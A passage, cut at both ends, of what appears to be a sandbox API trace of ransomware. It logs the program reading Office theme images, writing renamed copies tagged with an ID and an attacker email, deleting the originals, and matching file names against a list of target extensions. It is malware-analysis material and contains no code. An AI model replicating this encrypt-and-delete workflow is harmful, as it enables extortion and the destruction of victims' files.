hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.863] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.863] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\thmbnail.png.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0044.863] GetLastError () returned 0x0 [0044.863] ReadFile (in: hFile=0x208, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0xbb5a, lpOverlapped=0x0) returned 1 [0044.865] WriteFile (in: hFile=0x1f8, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0xbb60, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0xbb60, lpOverlapped=0x0) returned 1 [0044.866] ReadFile (in: hFile=0x208, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0044.866] WriteFile (in: hFile=0x1f8, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0xec, lpOverlapped=0x0) returned 1 [0044.866] SetEndOfFile (hFile=0x1f8) returned 1 [0044.867] CloseHandle (hObject=0x1f8) returned 1 [0044.867] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.867] SetEndOfFile (hFile=0x208) returned 1 [0044.868] CloseHandle (hObject=0x208) returned 1 [0044.868] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0044.868] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\thmbnail.png")) returned 1 [0044.868] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76 [0044.868] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76 [0044.868] lstrlenW (lpString=".doc") returned 4 [0044.868] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0044.868] lstrlenW (lpString=".docx") returned 5 [0044.868] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0044.868] lstrlenW (lpString=".pdf") returned 4 [0044.868] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0044.868] lstrlenW (lpString=".xls") returned 4 [0044.868] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0044.869] lstrlenW (lpString=".xlsx") returned 5 [0044.869] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0044.869] lstrlenW (lpString=".ppt") returned 4 [0044.869] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0044.869] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76 [0044.869] lstrlenW (lpString=".zip") returned 4 [0044.869] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0044.869] lstrlenW (lpString=".rar") returned 4 [0044.869] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0044.869] lstrlenW (lpString=".bz2") returned 4 [0044.869] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0044.869] lstrlenW (lpString=".7z") returned 3 [0044.869] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0044.869] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76 [0044.869] lstrlenW (lpString=".dbf") returned 4 [0044.869] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0044.869] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76 [0044.869] lstrlenW (lpString=".1cd") returned 4 [0044.869] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0044.869] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76 [0044.869] lstrlenW (lpString=".jpg") returned 4 [0044.869] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0044.869] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76 [0044.869] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76 [0044.869] lstrlenW (lpString=".doc") returned 4 [0044.869] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0044.869] lstrlenW (lpString=".docx") returned 5 [0044.869] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0044.869] lstrlenW (lpString=".pdf") returned 4 [0044.869] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0044.869] lstrlenW (lpString=".xls") returned 4 [0044.869] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0044.869] lstrlenW (lpString=".xlsx") returned 5 [0044.869] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0044.870] lstrlenW (lpString=".ppt") returned 4 [0044.870] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0044.870] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76 [0044.870] lstrlenW (lpString=".zip") returned 4 [0044.870] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0044.870] lstrlenW (lpString=".rar") returned 4 [0044.870] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0044.870] lstrlenW (lpString=".bz2") returned 4 [0044.870] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0044.870] lstrlenW (lpString=".7z") returned 3 [0044.870] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0044.870] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76 [0044.870] lstrlenW (lpString=".dbf") returned 4 [0044.870] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0044.870] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76 [0044.870] lstrlenW (lpString=".1cd") returned 4 [0044.870] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0044.870] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76 [0044.870] lstrlenW (lpString=".jpg") returned 4 [0044.870] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0044.870] lstrcmpiW (lpString1=".GIF", lpString2=".html") returned -1 [0044.870] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0044.870] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0044.871] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=3611) returned 1 [0044.871] CloseHandle (hObject=0x208) returned 1 [0044.871] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\preview.gif")) returned 0x20 [0044.871] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\preview.gif.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0044.871] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0044.871] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.871] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.871] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\preview.gif.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0044.873] GetLastError () returned 0x0 [0044.873] ReadFile (in: hFile=0x208, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0xe1b, lpOverlapped=0x0) returned 1 [0044.874] WriteFile (in: hFile=0x1f8, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0xe20, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0xe20, lpOverlapped=0x0) returned 1 [0044.875] ReadFile (in: hFile=0x208, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0044.875] WriteFile (in: hFile=0x1f8, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0xea, lpOverlapped=0x0) returned 1 [0044.875] SetEndOfFile (hFile=0x1f8) returned 1 [0044.875] CloseHandle (hObject=0x1f8) returned 1 [0044.875] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.876] SetEndOfFile (hFile=0x208) returned 1 [0044.876] CloseHandle (hObject=0x208) returned 1 [0044.876] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0044.877] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\preview.gif")) returned 1 [0044.877] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0044.877] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0044.877] lstrlenW (lpString=".doc") returned 4 [0044.877] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0044.877] lstrlenW (lpString=".docx") returned 5 [0044.877] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0044.877] lstrlenW (lpString=".pdf") returned 4 [0044.877] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0044.877] lstrlenW (lpString=".xls") returned 4 [0044.877] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0044.877] lstrlenW (lpString=".xlsx") returned 5 [0044.877] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0044.877] lstrlenW (lpString=".ppt") returned 4 [0044.877] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0044.877] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0044.877] lstrlenW (lpString=".zip") returned 4 [0044.877] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0044.877] lstrlenW (lpString=".rar") returned 4 [0044.877] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0044.877] lstrlenW (lpString=".bz2") returned 4 [0044.877] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0044.877] lstrlenW (lpString=".7z") returned 3 [0044.877] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0044.877] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0044.877] lstrlenW (lpString=".dbf") returned 4 [0044.878] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0044.878] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0044.878] lstrlenW (lpString=".1cd") returned 4 [0044.878] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0044.878] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0044.878] lstrlenW (lpString=".jpg") returned 4 [0044.878] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0044.878] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0044.878] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0044.878] lstrlenW (lpString=".doc") returned 4 [0044.878] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0044.878] lstrlenW (lpString=".docx") returned 5 [0044.878] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0044.878] lstrlenW (lpString=".pdf") returned 4 [0044.878] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0044.878] lstrlenW (lpString=".xls") returned 4 [0044.878] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0044.878] lstrlenW (lpString=".xlsx") returned 5 [0044.878] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0044.878] lstrlenW (lpString=".ppt") returned 4 [0044.878] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0044.878] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0044.878] lstrlenW (lpString=".zip") returned 4 [0044.878] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0044.878] lstrlenW (lpString=".rar") returned 4 [0044.878] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0044.878] lstrlenW (lpString=".bz2") returned 4 [0044.878] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0044.878] lstrlenW (lpString=".7z") returned 3 [0044.878] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0044.878] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0044.878] lstrlenW (lpString=".dbf") returned 4 [0044.878] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0044.879] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0044.879] lstrlenW (lpString=".1cd") returned 4 [0044.879] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0044.879] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0044.879] lstrlenW (lpString=".jpg") returned 4 [0044.879] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0044.879] lstrcmpiW (lpString1=".PNG", lpString2=".html") returned 1 [0044.879] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0044.879] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0044.879] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=34163) returned 1 [0044.879] CloseHandle (hObject=0x208) returned 1 [0044.879] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\thmbnail.png")) returned 0x20 [0044.879] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\thmbnail.png.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0044.879] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0044.880] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.880] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.880] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\thmbnail.png.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0044.880] GetLastError () returned 0x0 [0044.880] ReadFile (in: hFile=0x208, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x8573, lpOverlapped=0x0) returned 1 [0045.137] WriteFile (in: hFile=0x1f8, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0x8580, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0x8580, lpOverlapped=0x0) returned 1 [0045.139] ReadFile (in: hFile=0x208, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0045.139] WriteFile (in: hFile=0x1f8, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0xec, lpOverlapped=0x0) returned 1 [0045.139] SetEndOfFile (hFile=0x1f8) returned 1 [0045.139] CloseHandle (hObject=0x1f8) returned 1 [0045.139] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.139] SetEndOfFile (hFile=0x208) returned 1 [0045.140] CloseHandle (hObject=0x208) returned 1 [0045.140] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0045.140] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\thmbnail.png")) returned 1 [0045.141] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74 [0045.141] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74 [0045.141] lstrlenW (lpString=".doc") returned 4 [0045.141] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0045.141] lstrlenW (lpString=".docx") returned 5 [0045.141] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0045.141] lstrlenW (lpString=".pdf") returned 4 [0045.141] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0045.141] lstrlenW (lpString=".xls") returned 4 [0045.141] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0045.141] lstrlenW (lpString=".xlsx") returned 5 [0045.141] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0045.141] lstrlenW (lpString=".ppt") returned 4 [0045.141] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0045.141] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74 [0045.141] lstrlenW (lpString=".zip") returned 4 [0045.141] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0045.141] lstrlenW (lpString=".rar") returned 4 [0045.141] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0045.141] lstrlenW (lpString=".bz2") returned 4 [0045.141] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0045.141] lstrlenW (lpString=".7z") returned 3 [0045.142] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0045.142] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74 [0045.142] lstrlenW (lpString=".dbf") returned 4 [0045.142] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0045.142] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74 [0045.142] lstrlenW (lpString=".1cd") returned 4 [0045.142] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0045.142] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74 [0045.142] lstrlenW (lpString=".jpg") returned 4 [0045.142] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0045.142] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74 [0045.142] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74 [0045.142] lstrlenW (lpString=".doc") returned 4 [0045.142] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0045.142] lstrlenW (lpString=".docx") returned 5 [0045.142] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0045.142] lstrlenW (lpString=".pdf") returned 4 [0045.142] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0045.142] lstrlenW (lpString=".xls") returned 4 [0045.142] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0045.142] lstrlenW (lpString=".xlsx") returned 5 [0045.142] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0045.142] lstrlenW (lpString=".ppt") returned 4 [0045.142] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0045.142] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74 [0045.142] lstrlenW (lpString=".zip") returned 4 [0045.142] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0045.142] lstrlenW (lpString=".rar") returned 4 [0045.142] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0045.142] lstrlenW (lpString=".bz2") returned 4 [0045.142] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0045.142] lstrlenW (lpString=".7z") returned 3 [0045.143] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0045.143] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74 [0045.143] lstrlenW (lpString=".dbf") returned 4 [0045.143] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0045.143] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74 [0045.143] lstrlenW (lpString=".1cd") returned 4 [0045.143] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0045.143] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74 [0045.143] lstrlenW (lpString=".jpg") returned 4 [0045.143] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0045.143] lstrcmpiW (lpString1=".PNG", lpString2=".html") returned 1 [0045.143] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0045.143] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0046.539] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=19525) returned 1 [0046.539] CloseHandle (hObject=0x174) returned 1 [0046.540] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\thmbnail.png")) returned 0x20 [0046.540] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\thmbnail.png.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0046.540] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0046.540] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | 